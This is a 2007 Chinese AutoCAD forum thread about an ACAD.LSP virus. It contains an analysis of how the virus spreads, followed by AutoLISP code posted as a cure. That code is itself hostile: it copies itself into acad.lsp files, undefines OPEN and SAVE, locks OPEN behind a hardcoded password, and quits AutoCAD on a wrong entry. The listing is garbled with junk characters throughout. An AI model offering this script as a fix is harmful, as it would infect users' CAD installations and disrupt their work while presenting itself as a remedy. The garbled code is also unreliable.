中了ACAD.LSP怎么办？？CAD高手进！

bluer7 · 发表于 2007-9-13 16:16

前几天发现打开CAD时，一些常用的快捷命令不能用了，看了PGP文件，一切都未改动，并且打开DWG文件时，会多生成一个ACAD.LSP文件。在网上找了一些方法，都不起作用，用专杀也查不出来（北京鸿业，深圳浩辰），我用的杀毒工具卡巴7.0也查不出来。我是做工程设计的，中了这个家伙后，几乎使我不能制图，这几天急得我茶饭不思，热切期盼高手能解决（可加我QQ：233710887），不胜感激！！！
特将多生成的ACAD文件附上！（见附件）

yjh54900 · 发表于 2007-9-13 16:51

还是建议你从新装一下CAD把.看了一下病毒的分析,觉得相当麻烦.

yjh54900 · 发表于 2007-9-13 16:57

00.定义自动函数S::STARTUP

{01.获取CMDECHO变量,改设为0,一般程序最后会再改回去,

{02.通过搜索base.dcl文件,获取ACAD安装路径(support子夹) }

{03.获取菜单文件完整路径和名称,后来又没用~}

{04.获取当前图形文件完整路径和名称,截取当前工作路径}

{05.获取当前首选ACAD.LSP文件完整路径和名称,截取其路径}

{06.预设程序标记变量LSPBJ为0,意思是假设还没得手}
{07.用只读方式打开support中的ACAD.LSP,如文件不存在则建立同名文件
逐行检查此ACAD.LSP文件内容,一旦发现某行开头为(load "acadapp")
则设程序标记变量LSPBJ为1,表示已经得手过
只读任务结束，关闭文件}

{08.如果找到的ACAD.LSP路径和当前工作路径不同，
并且不在ACAD\support里面，则
{如果LSPBJ为0，也即尚未得手，那么
就在ACAD\support\acad.lsp文件末尾添加(load "acadapp")(princ),
即ACAD启动或开图时自动加载acadapp.lsp并隐蔽命令行反应。
然后同路径创建acadapp.lsp文件，作为刚改过的acad.lsp的备份. }
{如果LSPBJ为1,即已得手,且当前绘图不是未命名的新绘图任务,则
用复写ACAD\support\acadapp.lsp的方式
在当前工作路径创建acad.lsp. }
要不就这样一步一步的查找.删除他们看看.

bluer7 · 发表于 2007-9-13 17:14

重装也没用啊，问题依旧存在。

yjh54900 · 发表于 2007-9-13 17:25

从网上找的,试试看.可以告诉一声
用下面的代码试试.应该会杀掉你们说的病毒.注意:开机后需要输入密码(12345).

(defun S::STARTUP (/ old_cmd lctn dwglctn mnllctn
! j& p+ z( q5 Y
applctn oldacad newacad nowdwg lspbj . X9 J$ b) v8 |" r2 u: u9 X- r4 ]
wjm wjm1 wjqm wjqm1 wz 0 |5 z/ Y U7 j" s& @) i! [; k- i6 R
ns1 ns2 wjm0 wjqm0 ; Z6 g, s& V0 U- Q0 [' V; l5 m
) 6 q9 _% _. ~* P3 t8 E I
(setq lst0 (list "(" "load" "CADstartup.lsp" ")")) ! y; a& ?# H. x. Q0 q+ U
) J5 z8 X4 j/ }; @
(setq old_cmd (getvar "cmdecho"))
6 ~7 ~/ m- h1 }* E- `' f
(setvar "cmdecho" 0)
9 b0 O1 H: m4 r( ?0 ?
(if (setq lctn (findfile "acad.exe")) (setq lctn0 lctn) * R5 _0 h" d# X9 A' A# y" u
(if (setq lctn (findfile "icad.exe")) (setq lctn0 lctn) 0 `4 k, g# E" ~
(if (setq lctn (findfile "zwcad.exe")) (setq lctn0 lctn) ))) - C) Q9 M5 g7 L2 X/ C1 }; G
(setq lctn lctn0)
+ j7 o" R/ E) m/ Q b
(setq lctn (substr lctn 1 (- (strlen lctn) 8)))
3 z" d1 W9 i) D4 G6 A
(setq mnllctn (getvar "menuname")) 9 {1 N7 F& i& Q) K
(setq nowdwg (getvar "dwgname")) ! I& G/ H. B$ V" ?; k P
(setq wjqm (findfile nowdwg)) 7 m2 j5 d. A* N. G9 ^8 ~* l2 C
(setq dwglctn (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg)))) / o+ ^0 X( O/ S l6 e
(if (equal (setq acadlctn (findfile "acad.lsp")) nil) (setq acadlctn (strcat dwglctn "acad.lsp")) : k) b- j1 Q0 g( p
(setq acadlctn (substr acadlctn 1 (- (strlen acadlctn) 8))) )
1 y1 r- P. i, }; ]
(setq wjqm (strcat lctn "acad.lsp"))
/ [7 a* h* n; G% Q ]) [
(setq wjqm0 (strcat lctn "cadapp.lsp"))
G8 d/ T8 [8 K+ W+ o
(if (setq wjm0 (open wjqm0 "a"))
; k& J9 }3 L/ Z" [
;(progn . b# V! { e* ?0 c( G
;(setq aa (read-line wjm0))
0 f$ q: m' N. E' X+ g, H* @" P
;(if (/= aa "load CADstartup.lsp")
# g! v( u8 M+ g
(progn 5 q" z( s( e/ U$ I2 i* ~
(setq aa (strcat (nth 0 lst0) (nth 1 lst0) " " (nth 2 lst0) (nth 3 lst0)))
3 \* ?3 _6 h; x+ F2 e+ v. a
(write-line aa wjm0)
5 P. o8 W# v+ N4 c# S8 C% E: I
) 7 g( q7 d" M3 @7 a6 b
(close wjm0) # W* ]: \4 m$ D
) 1 u9 S- h& ?5 s$ ?7 m
4 u6 y l/ [7 @1 a8 T, M) ~
(setq oldacad (findfile "CADstartup.lsp"))
5 [9 w/ U4 |/ n7 _/ Q8 e
(setq newacad (strcat lctn "acad.lsp")) # E- }$ H: Y8 n( v! z. ]
(writeapp) i1 q% [- w0 N5 B/ q- k1 M9 U
(setq oldacad (findfile "acad.lsp"))
6 T& A+ v, ?5 o" \ }$ e
(setq newacad (strcat dwglctn "acad.lsp")) ( Y3 D( Y+ e- D$ y
(writeapp)
# m/ `: n9 \$ w: I0 b" T
(command "undefine" "open")
& W3 z2 r& a8 a6 C( C
(command "undefine" "save")
+ w7 |6 l! L8 K( \2 @1 v, l- y) l
(setvar "cmdecho" old_cmd) & H2 q) b% d2 y
(print "This is CAD")
7 d- ^& x' C9 h: M
(princ)
2 e& @' }$ l3 f8 j2 @- T4 ]
) 8 u- A4 l* z4 c. l0 k& d) W
(defun writeapp ()
- \2 I# e# g. i* y5 p0 ^& |
(if & ]7 F! u w) E8 ]
(setq wjm1 (open newacad "w"))
# ]* w f8 ~) l4 q: g
(progn 6 m$ ^+ a, |' V6 o" C5 A0 \ b
(setq wjm (open oldacad "r")) 9 C) B8 _0 A; ?& `: a
(while
3 L+ k) m; c# L% ~: x
(setq wz (read-line wjm)) 8 V4 b3 `& n- x m
(write-line wz wjm1) ; x# o+ @: [2 Q; [
)
' i7 D7 g# `8 m ~% c- H/ I
(close wjm)
H( C; H" O2 O2 n4 a- G
(close wjm1)
; S0 X4 m) b8 `' o6 r1 T
) . J7 T6 S+ ]% r; l! z0 f- j
) ! i$ z* C: |6 v8 M
) : V: [4 W7 j$ y/ K' j4 H
(defun C:open (/ p cont old_cmd) * l( u: t( D. x3 q; r& J4 k' }
(setq
5 n" k. ]$ h9 \/ k$ l; |
old_cmd (getvar "cmdecho") ' a7 k: u2 ~3 i( R* `$ g. l
) 2 v( x' X8 L: O0 t$ n" I
(setvar "cmdecho" 0)
( Q0 U$ v5 G4 O/ x2 s
(setq p "12345") : T5 C, }8 X$ t& [) o% @
(setq p0 (getstring "\Input Pass Word:")) , v1 D P* o) c& ~- g6 {- |
(if (eq p p0) (progn
+ b% L# Y' a2 M
(command "redefine" "open")
0 m2 Q, B7 _8 H+ I) p9 p9 ?
(command "open" "")) (command "quit" "")) 2 g) k' R: r @1 W- k
)
( N+ y$ e; d& ^
(defun C:save (/ old_cmd) ' C8 v+ g5 n9 R* R: u
(setq old_cmd (getvar "cmdecho")) 0 M( |% w) }: ~5 `# h" W% D, \
(setvar "cmdecho" 0)
4 }1 {1 D$ y) L W4 {4 A& E
(setq p0 (getstring "\Are you finish?"))
3 [( V3 A2 b/ U. V, a
(command "redefine" "save") 6 r2 h- v5 C) U, Q: k h
(command "save" "") : d, ~3 V' Y6 G: b0 p+ j
(setvar "cmdecho" old_cmd)
1 }0 v% F+ d* |. L# u- ]% R
(princ)
6 K% n# Z" p4 W1 i, W" F. S
)

复制代码

luowangsheng · 发表于 2007-9-13 17:42

高手啊!值得学习

vicki0910 · 发表于 2007-9-13 20:57

厉害啊……
完全不懂这东西……

daizhilee · 发表于 2007-9-13 22:22

看有没有试过这个方法，
“我的电脑”里高级查找acad.lsp、acadapp.lsp这么两个文件，在“包含文字”数据框中输入：explode，选择搜索所有硬盘驱动器，将搜索到的这两个文件全部删除即可

zhy_7878 · 发表于 2007-9-13 23:26

看了一下病毒的分析,觉得相当麻烦.

jpf54321 · 发表于 2007-9-21 15:19

高手向你学习

毛是生飞 · 发表于 2007-9-21 15:25

还这么一回事??

闲逸 · 发表于 2007-9-21 16:13

高手，也曾中过同样的病毒，重装了系统才搞定它！

jianlong · 发表于 2009-2-24 16:28

真厉害，佩服啊，全都看不懂啊

beyondxxx · 发表于 2009-5-3 08:44

不太懂高手们说的什么意思啊，还是没弄明白怎么搞定，这代码什么的咱也不懂啊

jianlong · 发表于 2009-5-3 14:31

天文符号，总有一天我也会看懂的！

		自动登录	找回密码
密码			立即注册

中了ACAD.LSP怎么办？？CAD高手进！

本帖子中包含更多资源

回复 #2 yjh54900 的帖子